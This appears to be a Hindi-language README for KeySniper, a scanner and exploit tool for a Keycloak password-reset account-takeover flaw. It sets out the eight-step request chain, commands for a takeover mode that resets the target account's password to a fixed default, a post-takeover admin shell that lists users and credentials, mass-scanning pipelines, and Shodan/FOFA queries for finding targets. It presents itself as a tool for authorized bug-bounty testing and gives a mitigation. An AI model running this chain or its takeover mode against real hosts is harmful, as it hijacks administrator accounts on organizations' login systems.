
**CVE-2026-18963** — reset-credentials प्रवाह के माध्यम से बिना प्रमाणीकरण के Keycloak खाता अधिग्रहण।

लेखक: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — reset-credentials फ्लो के माध्यम से बिना प्रमाणीकरण के Keycloak खाता अधिग्रहण।
KeySniper इन-स्कोप बग बाउंटी और अधिकृत मूल्यांकनों के लिए एक प्रोडक्शन-उन्मुख स्कैनर है: लाइव रडार आउटपुट, realm खोज, डिटेक्ट बनाम टेकओवर, इंटरैक्टिव पोस्ट-ATO शेल, और stdin पाइपलाइन (subfinder → httpx → KeySniper)।
डिफ़ॉल्ट मोड डिटेक्ट है (--takeover 0)। --takeover 1 लक्ष्य पर खाता पासवर्ड बदल देता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — कमज़ोर पासवर्ड पुनर्प्राप्ति तंत्र |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| उत्पाद | Keycloak / Red Hat SSO |
| संस्करण में ठीक हुआ | 26.7.2, 26.6.6, 26.4.15 |
| प्रमाणीकरण | कोई नहीं |
दो बग श्रृंखलाबद्ध हैं:
tryAnotherWay एक सामान्य "true" सेलेक्टर नोट संग्रहीत करता है जो निष्पादन ID से स्कोप्ड नहीं है।ResetCredentialEmail.action() ACTION_TOKEN_USER_ID की पुष्टि किए बिना context.success() को कॉल करता है।परिणाम: एक बिना प्रमाणीकृत कॉलर किसी ज्ञात उपयोगकर्ता नाम के लिए पासवर्ड-रीसेट फ्लो को बाध्य कर सकता है और ईमेल लिंक पर क्लिक किए बिना UPDATE_PASSWORD पर पहुँच सकता है।
स्कैन "फॉरगॉट-पासवर्ड मौजूद है" नहीं है। पुष्टिकरण है:
execution= UUID बदलता है (ईमेल निष्पादन लीक हुआ)kc-passwd-update-form होता हैexec3 = 28e2cd30-… (पहला सेलेक्टर)
exec6 = 8fd21174-… (पिवट GET)
UPDATE_PASSWORD
[radar] लॉग (Location, JS, हेडर, realm प्रोब)302 Location + HTML/JS + well-known + वर्डलिस्ट/auth उपसर्ग स्वतः-पहचानhttpx / subfinder से stdin URLs--takeover 0 केवल डिटेक्ट--takeover 1 पासवर्ड सेट करें (डिफ़ॉल्ट SelaM1337@@)--shell ATO के बाद इंटरैक्टिव टोकन / एडमिन API सहायकVULN / ATO लाल, SAFE हरा, SKIP पीलाpython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9+।
# डिटेक्ट (कोई पासवर्ड परिवर्तन नहीं)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# टेकओवर + इंटरैक्टिव शेल
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / उपयोगकर्ता
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# पाइपलाइन
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# सूची फ़ाइल
python3 KeySniper.py -l urls.txt --takeover 0 -q
पाइपलाइन डंप पर --takeover 1 या --shell न दें।
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ forgot-password href (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart (यदि मौजूद हो)
[6] GET मूल reset-credentials URL (पिवट)
→ सेलेक्टर पुनः-रेंडर + नया execution=
[7] POST पुराना सेलेक्टर (कोई एक्शन टोकन नहीं)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (केवल यदि --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update को VULN नहीं माना जाता।
केवल एकल लक्ष्य पर [ATO] के बाद खुलता है:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
संसाधन-स्वामी पासवर्ड ग्रांट (admin-cli, फिर account) का उपयोग करता है।
/admin/realms पर HTTP 403 का अर्थ है Direct Access Grants / एडमिन भूमिका सीमित है — ATO फिर भी मान्य हो सकता है।
/realms/master फिर /auth/realms/master प्रोब करेंLocation, HTML, JS, "realm":, issuer से realms एकत्र करें/realms/{name} 200 + Keycloak बॉडी लौटाता है/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (प्रोग्राम स्कोप):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ पर कोई भी 200 अनदेखा किया जाता है जब तक बॉडी में issuer / public_key / login-actions न होSKIP (realm में रीसेट अक्षम है)kc-passwd-update-form के बिना सेलेक्टर लीक → SKIPhttpx पथ मूल तक छीन लिए जाते हैं (/auth रखा जाता है)Keycloak < 26.7.2 (साथ ही 26.6.x < 26.6.6, 26.4.x < 26.4.15)।
शमन: प्रत्येक realm पर फॉरगॉट पासवर्ड अक्षम करें, फिर अपग्रेड करें।
इस रिपॉजिटरी में स्क्रीनशॉट संपादित है (sso.lab.local प्लेसहोल्डर)। टोकन, पासवर्ड, ईमेल और वास्तविक होस्ट प्रकाशित नहीं किए जाते।
Mitsec
X: x.com/ynsmroztas
इन-स्कोप अधिकृत लक्ष्यों पर शोध उपयोग। अनस्कोप्ड होस्ट पर --takeover 1 बंद रखें।
| फ़्लैग | डिफ़ॉल्ट | अर्थ |
|---|
-u URL | — | एकल लक्ष्य |
-l FILE | — | URL सूची |
| stdin | स्वतः | httpx पंक्तियाँ (पहला फ़ील्ड = URL) |
--takeover 0|1 | 0 | डिटेक्ट बनाम पासवर्ड बदलें |
-U USER | admin | लक्ष्य उपयोगकर्ता नाम |
-r REALM | auto | realm बाध्य करें या खोजें |
--pass | SelaM1337@@ | नया पासवर्ड यदि takeover=1 |
-t N | 4 | पाइपलाइन थ्रेड |
-q | बंद | केवल परिणाम |
--shell | बंद | पोस्ट-ATO शेल (एकल लक्ष्य) |
| स्थिति | अर्थ |
|---|
VULN | पिवट + UPDATE_PASSWORD (पासवर्ड नहीं बदला गया) |
ATO | चरण 8 सफल |
SAFE | रीसेट खुला, कोई पुराना सेलेक्टर नहीं (पैच किया गया) |
SKIP | Keycloak नहीं / रीसेट अक्षम / UPDATE फ़ॉर्म के बिना लीक |
FAIL | नेटवर्क / अप्रत्याशित अपवाद |